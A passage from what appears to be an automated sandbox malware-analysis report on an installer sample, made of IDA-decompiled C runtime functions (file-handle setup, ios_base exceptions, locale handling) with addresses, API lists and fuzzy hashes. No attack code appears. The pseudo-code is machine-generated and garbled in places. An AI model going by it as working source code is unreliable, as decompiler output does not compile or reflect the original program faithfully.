					__eflags = _t131 - 0x800;
					if(_t131 >= 0x800) {
						_t131 = 0x800;
						 *(_t152 - 0x1c) = 0x800;
					}
					_t146 = 1;
					__eflags = 1;
					 *(_t152 - 0x30) = 1;
					while(1) {
						__eflags =  *0xf1bf8 - _t131; // 0x20
						if(__eflags >= 0) {
							break;
						}
						_t134 = E000CFC25(_t138, 0x40);
						 *(_t152 - 0x24) = _t134;
						__eflags = _t134;
						if(_t134 != 0) {
							0xf1760[_t146] = _t134;
							 *0xf1bf8 =  *0xf1bf8 + _t138;
							__eflags =  *0xf1bf8;
							while(1) {
								__eflags = _t134 - 0xf1760[_t146] + 0x800;
								if(_t134 >= 0xf1760[_t146] + 0x800) {
									break;
								}
								 *((short*)(_t134 + 4)) = 0xa00;
								 *_t134 =  *_t134 | 0xffffffff;
								 *(_t134 + 8) = _t126;
								 *(_t134 + 0x24) =  *(_t134 + 0x24) & 0x00000080;
								 *((short*)(_t134 + 0x25)) = 0xa0a;
								 *(_t134 + 0x38) = _t126;
								 *(_t134 + 0x34) = _t126;
								_t134 = _t134 + 0x40;
								 *(_t152 - 0x24) = _t134;
							}
							_t146 = _t146 + 1;
							 *(_t152 - 0x30) = _t146;
							_t131 =  *(_t152 - 0x1c);
							continue;
						}
						_t131 =  *0xf1bf8; // 0x20
						 *(_t152 - 0x1c) = _t131;
						break;
					}
					_t140 = _t126;
					 *(_t152 - 0x2c) = _t140;
					_t107 =  *((intOrPtr*)(_t152 - 0x28));
					_t136 =  *(_t152 - 0x20);
					while(1) {
						__eflags = _t140 - _t131;
						if(_t140 >= _t131) {
							goto L27;
						}
						_t147 =  *_t136;
						__eflags = _t147 - 0xffffffff;
						if(_t147 == 0xffffffff) {
							L22:
							_t140 = _t140 + 1;
							 *(_t152 - 0x2c) = _t140;
							_t107 =  *((intOrPtr*)(_t152 - 0x28)) + 1;
							 *((intOrPtr*)(_t152 - 0x28)) = _t107;
							_t136 =  &(_t136[1]);
							 *(_t152 - 0x20) = _t136;
							continue;
						}
						__eflags = _t147 - 0xfffffffe;
						if(_t147 == 0xfffffffe) {
							goto L22;
						}
						_t109 =  *_t107;
						__eflags = _t109 & 0x00000001;
						if((_t109 & 0x00000001) == 0) {
							goto L22;
						}
						__eflags = _t109 & 0x00000008;
						if((_t109 & 0x00000008) != 0) {
							L20:
							_t151 = ((_t140 & 0x0000001f) << 6) + 0xf1760[_t140 >> 5];
							 *(_t152 - 0x24) = _t151;
							 *_t151 =  *_t136;
							 *((char*)(_t151 + 4)) =  *((intOrPtr*)( *((intOrPtr*)(_t152 - 0x28))));
							_t37 = _t151 + 0xc; // 0xd
							InitializeCriticalSectionAndSpinCount(_t37, 0xfa0);
							_t38 = _t151 + 8;
							 *_t38 =  *(_t151 + 8) + 1;
							__eflags =  *_t38;
							_t136 =  *(_t152 - 0x20);
							L21:
							_t131 =  *(_t152 - 0x1c);
							goto L22;
						}
						_t117 = GetFileType(_t147);
						_t136 =  *(_t152 - 0x20);
						__eflags = _t117;
						if(_t117 == 0) {
							goto L21;
						}
						goto L20;
					}
					goto L27;
				}
				_t84 = E000D89C0(_t152, 0xef6ac, _t152 - 0x10, 0xfffffffe) | 0xffffffff;
				goto L47;
			}

0x000d5284
0x000d5286
0x000d528b
0x000d5292
0x000d5298
0x000d529a
0x000d529d
0x000d52a1
0x000d52a2
0x000d52a3
0x000d52aa
0x000d52ac
0x000d52b1
0x000d52ce
0x000d52d3
0x000d52d9
0x000d52de
0x000d52e0
0x00000000
0x00000000
0x000d52e2
0x000d52e8
0x000d52eb
0x000d52ee
0x000d52f7
0x000d52fa
0x000d5300
0x000d5303
0x000d5306
0x000d5309
0x000d530c
0x000d530c
0x000d5317
0x000d531d
0x000d5322
0x000d5451
0x000d5451
0x000d5451
0x000d5454
0x000d5457
0x00000000
0x00000000
0x000d5462
0x000d5468
0x000d546b
0x000d546e
0x000d5483
0x000d5483
0x000d5487
0x000d5489
0x000d5490
0x000d5495
0x000d5497
0x000d5497
0x000d548b
0x000d548d
0x000d548d
0x000d54a1
0x000d54a3
0x000d54a6
0x000d54ed
0x000d54f3
0x000d54f6
0x000d54fc
0x000d5501
0x000d5503
0x000d5508
0x000d5508
0x00000000
0x000d54a8
0x000d54a8
0x000d54aa
0x00000000
0x00000000
0x000d54ad
0x000d54b3
0x000d54b5
0x00000000
0x00000000
0x000d54b7
0x000d54b9
0x000d54be
0x000d54c1
0x000d54cb
0x000d54ce
0x000d54d9
0x000d54de
0x000d54e2
0x000d54e8
0x000d550f
0x000d550f
0x00000000
0x000d550f
0x000d54d4
0x000d54d4
0x000d54d6
0x000d54d6
0x00000000
0x000d54d6
0x000d54c7
0x00000000
0x000d54c7
0x000d54a6
0x000d5470
0x000d5473
0x00000000
0x00000000
0x000d547b
0x00000000
0x000d547b
0x000d5515
0x000d551c
0x000d5521
0x000d5521
0x000d5523
0x000d5528
0x000d5528
0x000d5328
0x000d532b
0x000d532d
0x00000000
0x00000000
0x000d5333
0x000d5335
0x000d5338
0x000d533b
0x000d5340
0x000d5348
0x000d534a
0x000d534c
0x000d534e
0x000d534e
0x000d5353
0x000d5353
0x000d5354
0x000d5357
0x000d5357
0x000d535d
0x00000000
0x00000000
0x000d5369
0x000d536b
0x000d536e
0x000d5370
0x000d5404
0x000d540b
0x000d540b
0x000d5411
0x000d541d
0x000d541f
0x00000000
0x00000000
0x000d5421
0x000d5427
0x000d542a
0x000d542d
0x000d5431
0x000d5437
0x000d543a
0x000d543d
0x000d5440
0x000d5440
0x000d5445
0x000d5446
0x000d5449
0x00000000
0x000d5449
0x000d5376
0x000d537c
0x00000000
0x000d537c
0x000d537f
0x000d5381
0x000d5384
0x000d5387
0x000d538a
0x000d538a
0x000d538c
0x00000000
0x00000000
0x000d5392
0x000d5394
0x000d5397
0x000d53f1
0x000d53f1
0x000d53f2
0x000d53f8
0x000d53f9
0x000d53fc
0x000d53ff
0x00000000
0x000d53ff
0x000d5399
0x000d539c
0x00000000
0x00000000
0x000d539e
0x000d53a0
0x000d53a2
0x00000000
0x00000000
0x000d53a4
0x000d53a6
0x000d53b6
0x000d53c3
0x000d53ca
0x000d53cf
0x000d53d6
0x000d53de
0x000d53e2
0x000d53e8
0x000d53e8
0x000d53e8
0x000d53eb
0x000d53ee
0x000d53ee
0x00000000
0x000d53ee
0x000d53a9
0x000d53af
0x000d53b2
0x000d53b4
0x00000000
0x00000000
0x00000000
0x000d53b4
0x00000000
0x000d538a
0x000d52c6
0x00000000

APIs

__lock.LIBCMT ref: 000D5292

Part of subcall function 000CF0B6: __mtinitlocknum.LIBCMT ref: 000CF0C8
Part of subcall function 000CF0B6: EnterCriticalSection.KERNEL32(?,?,000D503A,0000000D), ref: 000CF0E1

__calloc_crt.LIBCMT ref: 000D52A3

Part of subcall function 000CFC25: __calloc_impl.LIBCMT ref: 000CFC34
Part of subcall function 000CFC25: Sleep.KERNEL32(00000000), ref: 000CFC4B

@_EH4_CallFilterFunc@8.LIBCMT ref: 000D52BE
GetStartupInfoW.KERNEL32(?,000ED488,00000064,000CE438,000ED1B8,00000014), ref: 000D5317
__calloc_crt.LIBCMT ref: 000D5362
GetFileType.KERNEL32(00000001), ref: 000D53A9
InitializeCriticalSectionAndSpinCount.KERNEL32(0000000D,00000FA0), ref: 000D53E2

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: CriticalSection__calloc_crt$CallCountEnterFileFilterFunc@8InfoInitializeSleepSpinStartupType__calloc_impl__lock__mtinitlocknum
String ID:
API String ID: 1426640281-0
Opcode ID: 3f0afdd2edc69c7532c6a78c891cd7563ea93c6fbcdeee08bd338ecac67925c5
Instruction ID: 8fb137ff7f00819cf28388df8f8fc9e8c5f1e80d5fae371c20d618de5428fd62
Opcode Fuzzy Hash: 3f0afdd2edc69c7532c6a78c891cd7563ea93c6fbcdeee08bd338ecac67925c5
Instruction Fuzzy Hash: BA81C271904B458FDB24CF68DC805ADBBF0AF05326B24426ED8AAAB3D1D734D842DB65

Uniqueness

Uniqueness Score: -1.00%

Function 000C8430, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 28%

			E000C8430(char* __ecx, char _a4) {
				intOrPtr _v12;
				char _v16;
				intOrPtr* _v28;
				char _v36;
				signed char _t34;
				char* _t36;
				intOrPtr* _t37;
				void* _t39;
				intOrPtr* _t40;
				void* _t42;

				_t36 = __ecx;
				if(_a4 != 0) {
					E000CEBFB(0, 0);
					goto L5;
				} else {
					_t34 =  *(__ecx + 0x10) &  *(__ecx + 0xc);
					_v16 = 1;
					_v12 = 0xf0a40;
					_t36 =  &_v36;
					if((_t34 & 0x00000004) != 0) {
						L5:
						E000C8360(_t36, "ios_base::badbit set",  &_v16);
						E000CEBFB( &_v36, 0xed7a8);
						goto L6;
					} else {
						_push( &_v16);
						if((_t34 & 0x00000002) != 0) {
							L6:
							_push("ios_base::failbit set");
							E000C8360(_t36);
							E000CEBFB( &_v36, 0xed7a8);
						} else {
						}
					}
				}
				E000C8360(_t36);
				E000CEBFB( &_v36, 0xed7a8);
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				_t37 =  *((intOrPtr*)( *((intOrPtr*)(_t36 + 0x30))));
				_t40 = _v28;
				 *_t40 = _t37;
				 *((intOrPtr*)( *_t37 + 4))(_t39, _t42, "ios_base::eofbit set");
				return _t40;
			}

0x000c8430
0x000c843a
0x000c8465
0x00000000
0x000c843c
0x000c843f
0x000c8442
0x000c8449
0x000c8450
0x000c8455
0x000c846a
0x000c8473
0x000c8481
0x00000000
0x000c8457
0x000c845c
0x000c845d
0x000c8486
0x000c8486
0x000c848b
0x000c8499
0x00000000
0x000c845f
0x000c845d
0x000c8455
0x000c84a3
0x000c84b1
0x000c84b6
0x000c84b7
0x000c84b8
0x000c84b9
0x000c84ba
0x000c84bb
0x000c84bc
0x000c84bd
0x000c84be
0x000c84bf
0x000c84c7
0x000c84c9
0x000c84cc
0x000c84d0
0x000c84d7

APIs

__CxxThrowException@8.LIBCMT ref: 000C8465
__CxxThrowException@8.LIBCMT ref: 000C8481
__CxxThrowException@8.LIBCMT ref: 000C8499
__CxxThrowException@8.LIBCMT ref: 000C84B1

Strings

ios_base::eofbit set, xrefs: 000C849E
ios_base::badbit set, xrefs: 000C846E
ios_base::failbit set, xrefs: 000C8486

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: Exception@8Throw
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 2005118841-1866435925
Opcode ID: 298dd2fd1d4adc4756e2f7b075b289ea6f73f7dc1878727aecca06f4101841f9
Instruction ID: b9679c384b89dbe29e0cb6bca3ca244f855647ae0ea5572a2bd70315185c6a87
Opcode Fuzzy Hash: 298dd2fd1d4adc4756e2f7b075b289ea6f73f7dc1878727aecca06f4101841f9
Instruction Fuzzy Hash: E401677494439DBEDF10E7E1CC87FED73A87B04704F108419F6517A082EBB5A6064725

Uniqueness

Uniqueness Score: -1.00%

Function 000DDC3E, Relevance: 12.1, APIs: 8, Instructions: 118
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E000DDC3E(void* __ebx, void* __edx, void* __edi, signed int __esi, void* __eflags) {
				signed int _t51;
				signed int _t54;
				signed int _t62;
				signed int _t76;
				signed int _t81;
				signed int _t89;
				signed int _t91;
				void* _t96;
				void* _t97;

				_t97 = __eflags;
				_t87 = __edx;
				_push(0x18);
				_push(0xed6c0);
				E000D3B00(__ebx, __edi, __esi);
				_t91 = __esi | 0xffffffff;
				 *(_t96 - 0x1c) = _t91;
				 *(_t96 - 0x24) =  *(_t96 - 0x24) & 0x00000000;
				_push(0xb);
				_t51 = E000CF13E(__ebx, __edx, __edi, _t91, _t97);
				if(_t51 != 0) {
					E000CF0B6(__edx, 0xb);
					 *(_t96 - 4) =  *(_t96 - 4) & 0x00000000;
					_t76 = 0;
					__eflags = 0;
					while(1) {
						 *(_t96 - 0x28) = _t76;
						__eflags = _t76 - 0x40;
						if(_t76 >= 0x40) {
							break;
						}
						_t89 =  *(0xf1760 + _t76 * 4);
						__eflags = _t89;
						if(_t89 == 0) {
							_t81 = E000CFC25(0x20, 0x40);
							 *(_t96 - 0x20) = _t81;
							__eflags = _t81;
							if(_t81 == 0) {
								break;
							}
							 *(0xf1760 + _t76 * 4) = _t81;
							 *0xf1bf8 =  *0xf1bf8 + 0x20;
							__eflags =  *0xf1bf8;
							while(1) {
								__eflags = _t81 -  *(0xf1760 + _t76 * 4) + 0x800;
								if(__eflags >= 0) {
									break;
								}
								 *((short*)(_t81 + 4)) = 0xa00;
								 *_t81 =  *_t81 | 0xffffffff;
								 *(_t81 + 8) =  *(_t81 + 8) & 0x00000000;
								_t81 = _t81 + 0x40;
								 *(_t96 - 0x20) = _t81;
							}
							_t91 = _t76 << 5;
							 *(_t96 - 0x1c) = _t91;
							 *((char*)( *((intOrPtr*)(0xf1760 + (_t91 >> 5) * 4)) + ((_t91 & 0x0000001f) << 6) + 4)) = 1;
							_push(_t91);
							_t62 = E000DDBB2(_t76, _t87, _t89, _t91, __eflags);
							__eflags = _t62;
							if(_t62 == 0) {
								_t91 = _t91 | 0xffffffff;
								__eflags = _t91;
								 *(_t96 - 0x1c) = _t91;
							}
							break;
						} else {
							goto L5;
						}
						while(1) {
							L5:
							 *(_t96 - 0x20) = _t89;
							__eflags = _t89 -  *(0xf1760 + _t76 * 4) + 0x800;
							if(_t89 >=  *(0xf1760 + _t76 * 4) + 0x800) {
								break;
							}
							__eflags =  *(_t89 + 4) & 0x00000001;
							if(( *(_t89 + 4) & 0x00000001) != 0) {
								L14:
								_t89 = _t89 + 0x40;
								continue;
							}
							__eflags =  *(_t89 + 8);
							if( *(_t89 + 8) == 0) {
								E000CF0B6(_t87, 0xa);
								 *(_t96 - 4) = 1;
								__eflags =  *(_t89 + 8);
								if( *(_t89 + 8) == 0) {
									_t18 = _t89 + 0xc; // 0x8000000c
									InitializeCriticalSectionAndSpinCount(_t18, 0xfa0);
									_t19 = _t89 + 8;
									 *_t19 =  *(_t89 + 8) + 1;
									__eflags =  *_t19;
								}
								_t21 = _t96 - 4;
								 *_t21 =  *(_t96 - 4) & 0x00000000;
								__eflags =  *_t21;
								E000DDD12();
							}
							__eflags =  *(_t96 - 0x24);
							if( *(_t96 - 0x24) == 0) {
								_t24 = _t89 + 0xc; // 0x8000000c
								EnterCriticalSection(_t24);
								__eflags =  *(_t89 + 4) & 0x00000001;
								if(( *(_t89 + 4) & 0x00000001) == 0) {
									__eflags =  *(_t96 - 0x24);
									if( *(_t96 - 0x24) != 0) {
										goto L14;
									}
									 *(_t89 + 4) = 1;
									 *_t89 =  *_t89 | 0xffffffff;
									_t91 = (_t89 -  *(0xf1760 + _t76 * 4) >> 6) + (_t76 << 5);
									__eflags = _t91;
									 *(_t96 - 0x1c) = _t91;
									break;
								}
								_t28 = _t89 + 0xc; // 0x8000000c
								LeaveCriticalSection(_t28);
							}
							goto L14;
						}
						__eflags = _t91 - 0xffffffff;
						if(_t91 != 0xffffffff) {
							break;
						}
						_t76 = _t76 + 1;
					}
					 *(_t96 - 4) = 0xfffffffe;
					E000DDDDA();
					_t54 = _t91;
					L26:
					return E000D3B45(_t54);
				}
				_t54 = _t51 | _t91;
				goto L26;
			}

0x000ddc3e
0x000ddc3e
0x000ddc3e
0x000ddc40
0x000ddc45
0x000ddc4a
0x000ddc4d
0x000ddc50
0x000ddc54
0x000ddc56
0x000ddc5e
0x000ddc69
0x000ddc6f
0x000ddc73
0x000ddc73
0x000ddc75
0x000ddc75
0x000ddc78
0x000ddc7b
0x00000000
0x00000000
0x000ddc81
0x000ddc88
0x000ddc8a
0x000ddd55
0x000ddd57
0x000ddd5a
0x000ddd5c
0x00000000
0x00000000
0x000ddd5e
0x000ddd65
0x000ddd65
0x000ddd6c
0x000ddd78
0x000ddd7a
0x00000000
0x00000000
0x000ddd7c
0x000ddd82
0x000ddd85
0x000ddd89
0x000ddd8c
0x000ddd8c
0x000ddd93
0x000ddd96
0x000dddad
0x000dddb2
0x000dddb3
0x000dddb9
0x000dddbb
0x000dddbd
0x000dddbd
0x000dddc0
0x000dddc0
0x00000000
0x00000000
0x00000000
0x00000000
0x000ddc90
0x000ddc90
0x000ddc90
0x000ddc9f
0x000ddca1
0x00000000
0x00000000
0x000ddca7
0x000ddcab
0x000ddd04
0x000ddd04
0x00000000
0x000ddd04
0x000ddcad
0x000ddcb1
0x000ddcb5
0x000ddcbb
0x000ddcc2
0x000ddcc6
0x000ddccd
0x000ddcd1
0x000ddcd7
0x000ddcd7
0x000ddcd7
0x000ddcd7
0x000ddcda
0x000ddcda
0x000ddcda
0x000ddcde
0x000ddcde
0x000ddce6
0x000ddce8
0x000ddcea
0x000ddcee
0x000ddcf4
0x000ddcf8
0x000ddd1e
0x000ddd20
0x00000000
0x00000000
0x000ddd22
0x000ddd26
0x000ddd3a
0x000ddd3a
0x000ddd3c
0x00000000
0x000ddd3c
0x000ddcfa
0x000ddcfe
0x000ddcfe
0x00000000
0x000ddce8
0x000ddd3f
0x000ddd42
0x00000000
0x00000000
0x000ddd44
0x000ddd44
0x000dddc3
0x000dddca
0x000dddcf
0x000dddd1
0x000dddd6
0x000dddd6
0x000ddc60
0x00000000

APIs

__mtinitlocknum.LIBCMT ref: 000DDC56

Part of subcall function 000CF13E: __FF_MSGBANNER.LIBCMT ref: 000CF153
Part of subcall function 000CF13E: __NMSG_WRITE.LIBCMT ref: 000CF15A
Part of subcall function 000CF13E: __malloc_crt.LIBCMT ref: 000CF17A

__lock.LIBCMT ref: 000DDC69
__lock.LIBCMT ref: 000DDCB5
InitializeCriticalSectionAndSpinCount.KERNEL32(8000000C,00000FA0,000ED6C0,00000018,000DF97D,00000000,00000000,00000109), ref: 000DDCD1
EnterCriticalSection.KERNEL32(8000000C,000ED6C0,00000018,000DF97D,00000000,00000000,00000109), ref: 000DDCEE
LeaveCriticalSection.KERNEL32(8000000C), ref: 000DDCFE

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: CriticalSection$__lock$CountEnterInitializeLeaveSpin__malloc_crt__mtinitlocknum
String ID:
API String ID: 1422805418-0
Opcode ID: f086032efb704e04c199252661e596d4772db8674ddf04b5e86c765ffa52f330
Instruction ID: ae56e34a14e552ead84530928ad8f00469cbcbf0c85b4d22797f1c5e39a9e00e
Opcode Fuzzy Hash: f086032efb704e04c199252661e596d4772db8674ddf04b5e86c765ffa52f330
Instruction Fuzzy Hash: 484127719007069BEF209F68D984BECB7F1AF01725F21822FE525AB3D2C7749940CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 000D7146, Relevance: 10.7, APIs: 7, Instructions: 244
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 75%

			E000D7146(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, signed int _a4, char _a8, intOrPtr _a12, signed int _a16, intOrPtr _a20, signed int* _a24) {
				intOrPtr _v0;
				signed int _v8;
				signed int _v12;
				signed int _v36;
				intOrPtr _v40;
				signed int _v44;
				char _v180;
				char _v468;
				signed int _v472;
				signed int* _v476;
				signed short _v480;
				short* _v484;
				intOrPtr _v488;
				intOrPtr _v492;
				signed int* _v496;
				signed int* _v500;
				signed int _v520;
				signed int _t86;
				void* _t89;
				signed int _t91;
				signed int _t93;
				signed int _t100;
				signed int _t115;
				intOrPtr _t118;
				signed int _t120;
				signed int _t121;
				signed int _t124;
				signed int _t128;
				signed short _t129;
				signed int _t131;
				signed int _t132;
				signed int _t133;
				signed int _t135;
				intOrPtr _t138;
				signed int _t140;
				char* _t141;
				signed int _t142;
				signed int _t149;
				signed int _t150;
				signed int _t151;
				signed int _t152;
				signed int _t155;
				signed int _t158;
				void* _t159;
				intOrPtr _t174;
				void* _t179;
				void* _t188;
				signed int* _t190;
				intOrPtr* _t191;
				signed int _t192;
				signed int _t194;
				signed int _t198;
				void* _t199;
				signed int* _t202;
				void* _t203;
				intOrPtr _t205;
				void* _t206;
				signed int _t208;
				signed int _t212;
				void* _t213;
				void* _t214;
				void* _t218;

				_t188 = __edx;
				_t208 = _t212;
				_t213 = _t212 - 0x1f0;
				_t86 =  *0xef6ac; // 0xcff43140
				_v8 = _t86 ^ _t208;
				_push(__ebx);
				_t155 = _a16;
				_push(__esi);
				_t202 = _a4;
				_push(__edi);
				_t190 = _a24;
				_v496 = _a8;
				_v500 = _t190;
				_t89 = E000D4F6A(_t190, __eflags);
				_t8 = _t89 + 0xb4; // 0xb4
				_v476 = _t8;
				_t10 = _t89 + 0xb8; // 0xb8
				_v484 = _t10;
				_t12 = _t89 + 0x1be; // 0x1be
				_v472 = _t12;
				_v480 = 0;
				if(_t202 != 0) {
					_v492 = _t89 + 0x2ec;
					_t91 = E000DBA9A(_t155, _a20, _t89 + 0x2ec, 0x55);
					_t214 = _t213 + 0x10;
					__eflags = _t91;
					if(_t91 != 0) {
						L42:
						__eflags = 0;
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						goto L43;
					} else {
						__eflags =  *_t202 - 0x43;
						if( *_t202 != 0x43) {
							L10:
							_t118 = E000D1321(_t202);
							_v488 = _t118;
							__eflags = _t118 - 0x83;
							if(_t118 >= 0x83) {
								L13:
								_t194 =  *0xf1c74; // 0xbae07790
								asm("sbb edi, edi");
								_t198 =  !( ~(_t194 ^  *0xef6ac)) & 0x00000001;
								_t120 = E000D6FF0(_t155, _t188,  &_v468, _t202);
								_pop(_t179);
								__eflags = _t120;
								if(_t120 != 0) {
									_t190 = _v476;
									goto L22;
								} else {
									_t141 =  &_v468;
									_push(_t141);
									__eflags = _t198;
									_t190 = _v476;
									_push(_t190);
									_push(_t141);
									if(__eflags == 0) {
										_t142 = E000DE851(_t179, _t188, __eflags);
									} else {
										_t142 = E000DF09D(_t188, __eflags);
									}
									_t214 = _t214 + 0xc;
									__eflags = _t142;
									if(_t142 == 0) {
										L22:
										_t121 = E000D2F54(_t202);
										__eflags = _t121;
										if(_t121 == 0) {
											_t124 = E000DBA9A(_v492, 0x55, _t155, E000D1321(_t155) + 1);
											_t214 = _t214 + 0x14;
											__eflags = _t124;
											if(_t124 != 0) {
												goto L42;
											} else {
												goto L1;
											}
										} else {
											_t128 = E000D2EFA(_t202, 0x20001004,  &_v480, 2);
											_t218 = _t214 + 0x10;
											__eflags = _t128;
											if(_t128 == 0) {
												L25:
												_t129 = GetACP();
												_v480 = _t129;
											} else {
												_t129 = _v480;
												__eflags = _t129;
												if(_t129 == 0) {
													goto L25;
												}
											}
											 *_t190 = _t129 & 0x0000ffff;
											_t190 = _v488 + 1;
											_t131 = E000DBA9A(_v472, 0x83, _t202, _t190);
											_t214 = _t218 + 0x10;
											__eflags = _t131;
											if(_t131 != 0) {
												goto L42;
											} else {
												_t132 = E000DBA9A(_t155, _a20, _t202, _t190);
												_t214 = _t214 + 0x10;
												__eflags = _t132;
												if(_t132 != 0) {
													goto L42;
												} else {
													_t133 = E000DBA9A(_v492, 0x55, _t202, _t190);
													_t214 = _t214 + 0x10;
													__eflags = _t133;
													if(_t133 != 0) {
														goto L42;
													} else {
														_t190 = 0x83;
														goto L30;
													}
												}
											}
										}
									} else {
										_push( &_v468);
										_t190 = 0x83;
										E000D6F82(_t155, _t179, _t188, _v472, 0x83);
										_t214 = _t214 + 0xc;
										__eflags = _t155;
										if(_t155 == 0) {
											L30:
											_t155 = 0;
											__eflags =  *_t202;
											if( *_t202 == 0) {
												L34:
												__eflags = 0;
												 *_v484 = 0;
												goto L35;
											} else {
												_t138 = _v488;
												__eflags = _t138 - _t190;
												if(_t138 >= _t190) {
													goto L34;
												} else {
													_t140 = E000DBA9A(_v484, _t190, _t202, _t138 + 1);
													_t214 = _t214 + 0x10;
													__eflags = _t140;
													if(_t140 == 0) {
														L35:
														_t190 = _v500;
														goto L36;
													} else {
														_push(0);
														_push(0);
														_push(0);
														_push(0);
														_push(0);
														L43:
														_t93 = E000D3472(_t155, _t188);
														asm("int3");
														_push(_t208);
														_push(_t155);
														_push(_t202);
														_t203 = 0;
														__eflags = _v520;
														if(_v520 <= 0) {
															L49:
															return _t93;
														} else {
															_push(_t190);
															_t191 =  &_a8;
															while(1) {
																_t191 = _t191 + 4;
																_t93 = E000DBA2E(_v0, _a4,  *_t191);
																_t214 = _t214 + 0xc;
																__eflags = _t93;
																if(_t93 != 0) {
																	break;
																}
																_t203 = _t203 + 1;
																__eflags = _t203 - _a8;
																if(_t203 < _a8) {
																	continue;
																} else {
																	goto L49;
																}
																goto L65;
															}
															_push(0);
															_push(0);
															_push(0);
															_push(0);
															_push(0);
															E000D3472(0, _t188);
															asm("int3");
															_push(0x14);
															_push(0xed5a8);
															E000D3B00(0, _t191, _t203);
															_t158 = 0;
															_v36 = 0;
															__eflags = _v0 - 5;
															if(__eflags <= 0) {
																_t205 = E000D4F6A(_t191, __eflags);
																_v40 = _t205;
																E000D4405(0, _t188, _t191, _t205, __eflags);
																 *(_t205 + 0x70) =  *(_t205 + 0x70) | 0x00000010;
																_v12 = _v12 & 0;
																_t192 = E000CFC25(0xb8, 1);
																_v44 = _t192;
																__eflags = _t192;
																if(_t192 != 0) {
																	E000CF0B6(_t188, 0xc);
																	_v12 = 1;
																	E000D711A(_t192,  *((intOrPtr*)(_t205 + 0x6c)));
																	_v12 = _v12 & 0x00000000;
																	E000D75B0();
																	_t158 = E000D776B(_t188, _t192, _v0, _a4);
																	_v36 = _t158;
																	__eflags = _t158;
																	if(_t158 == 0) {
																		E000D436A(_t192);
																		_t98 = E000D4210(_t192);
																	} else {
																		__eflags = _a4;
																		if(_a4 != 0) {
																			_t115 = E000DE237(_a4, 0xefd74);
																			__eflags = _t115;
																			if(_t115 != 0) {
																				 *0xf1970 = 1;
																			}
																		}
																		E000CF0B6(_t188, 0xc);
																		_v12 = 2;
																		_t73 = _t205 + 0x6c; // 0x6c
																		E000D4481(_t73, _t192);
																		E000D436A(_t192);
																		__eflags =  *(_t205 + 0x70) & 0x00000002;
																		if(( *(_t205 + 0x70) & 0x00000002) == 0) {
																			__eflags =  *0xeff9c & 0x00000001;
																			if(( *0xeff9c & 0x00000001) == 0) {
																				E000D4481(0xefedc,  *((intOrPtr*)(_t205 + 0x6c)));
																				_t174 =  *0xefedc; // 0x9afdc8
																				 *0xef650 =  *((intOrPtr*)(_t174 + 0x84));
																				 *0xef620 =  *((intOrPtr*)(_t174 + 0x90));
																				 *0xeff98 =  *((intOrPtr*)(_t174 + 0x74));
																			}
																		}
																		_v12 = _v12 & 0x00000000;
																		_t98 = E000D75BF();
																	}
																}
																_v12 = 0xfffffffe;
																E000D75F2(_t98, _t205);
																_t100 = _t158;
															} else {
																 *((intOrPtr*)(E000D1261(__eflags))) = 0x16;
																E000D3462();
																_t100 = 0;
															}
															return E000D3B45(_t100);
														}
													}
												}
											}
										} else {
											_t149 = E000DBA9A(_t155, _a20,  &_v180, E000D1321( &_v180) + 1);
											_t214 = _t214 + 0x14;
											__eflags = _t149;
											if(_t149 == 0) {
												goto L30;
											} else {
												goto L42;
											}
										}
									}
								}
							} else {
								_t150 = E000DE237(_v472, _t202);
								__eflags = _t150;
								if(_t150 == 0) {
									L36:
									__eflags = _t190;
									if(_t190 != 0) {
										E000CE520(_t190, _v476, 4);
										_t214 = _t214 + 0xc;
									}
									_t155 = _v472;
									_t202 = _v496;
									_t135 = E000D83C0(_t202, _a12, _t155);
									_t214 = _t214 + 0xc;
									__eflags = _t135;
									if(_t135 != 0) {
										goto L42;
									} else {
										goto L2;
									}
								} else {
									_t151 = E000DE237(_v484, _t202);
									__eflags = _t151;
									if(_t151 == 0) {
										goto L36;
									} else {
										goto L13;
									}
								}
							}
						} else {
							__eflags = _t202[0] - _t91;
							if(_t202[0] != _t91) {
								goto L10;
							} else {
								_t202 = _v496;
								_t152 = E000D83C0(_t202, _a12, 0xe8f78);
								_t214 = _t214 + 0xc;
								__eflags = _t152;
								if(_t152 != 0) {
									goto L42;
								} else {
									__eflags = _t190;
									if(_t190 != 0) {
										 *_t190 = _t152;
									}
